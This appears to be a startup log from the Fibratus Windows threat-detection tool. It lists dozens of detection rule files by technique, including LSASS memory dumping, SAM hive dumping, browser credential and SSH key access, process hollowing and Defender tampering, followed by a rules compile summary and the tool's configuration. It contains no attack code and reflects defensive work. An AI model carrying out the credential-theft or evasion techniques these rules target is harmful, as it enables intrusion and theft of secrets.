C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T20:19:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_direct_syscall_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T20:28:14+01:00 level=warning msg="Direct syscall from a stomped module" rule doesn't have event type or event category condition! This rule is being discarded by the engine. Please consider narrowing the scope of the rule by including the `evt.name` or `evt.category` condition source=rules/engine.go:180 +time=2025-11-11T20:28:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T20:28:14+01:00 level=info msg=bootstrapping with pid 4180. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T20:28:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true port=>25 content-type=>text/html to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-thread=>true stack-enrichment=>true enable-handle=>false enable-net=>true buffer-size=>512 enable-vamap=>true enable-threadpool=>false enable-registry=>true enable-audit-api=>true flush-interval=>1s enable-image=>true enable-fileio=>true enable-dns=>false max-buffers=>36 enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ gzip-compression=>false sniff=>false bulk-workers=>1 healthcheck=>true index-name=>fibratus flush-period=>1s healthcheck-interval=>10s timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-timeout=>5s trace-log=>false template-name=>fibratus] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false durable=>false vhost=>/ delivery-mode=>transient passive=>false timeout=>5s url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic enabled=>false] http=>[ serializer=>json enable-gzip=>false enabled=>false timeout=>5s endpoints=>[] method=>POST tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false skip-mmaps=>false enabled=>false excluded-procs=>[] excluded-files=>[] scan-timeout=>10s fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] 